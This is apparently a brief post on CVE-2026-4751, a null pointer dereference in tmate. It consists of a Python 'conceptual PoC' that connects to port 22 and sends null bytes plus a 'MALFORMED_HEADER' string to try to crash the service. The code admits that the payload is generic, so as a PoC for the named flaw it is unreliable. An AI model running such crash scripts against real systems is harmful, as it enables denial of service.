CVE-2026-4751 tmate空指针解引用漏洞

import socket import sys # Target configuration TARGET_HOST = "127.0.0.1" TARGET_PORT = 22 # tmate typically uses SSH port def send_malformed_packet(): """ Conceptual PoC for triggering Null Pointer Dereference. Sends a crafted packet to the target service. """ try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) print(f"[+] Connected to {TARGET_HOST}:{TARGET_PORT}") # Construct a payload designed to hit the null pointer logic # Note: This is a generic example. Specific offset/bytes depend on the vulnerability. # Sending a sequence of null bytes or malformed protocol headers. payload = b"\x00" * 100 + b"MALFORMED_HEADER" s.send(payload) print("[+] Malformed payload sent.") # Attempt to read response (if any) to confirm crash or hang response = s.recv(1024) print("[+] Received response (might indicate failure to crash)") s.close() except ConnectionResetError: print("[!] Connection reset by peer. Possible crash.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malformed_packet()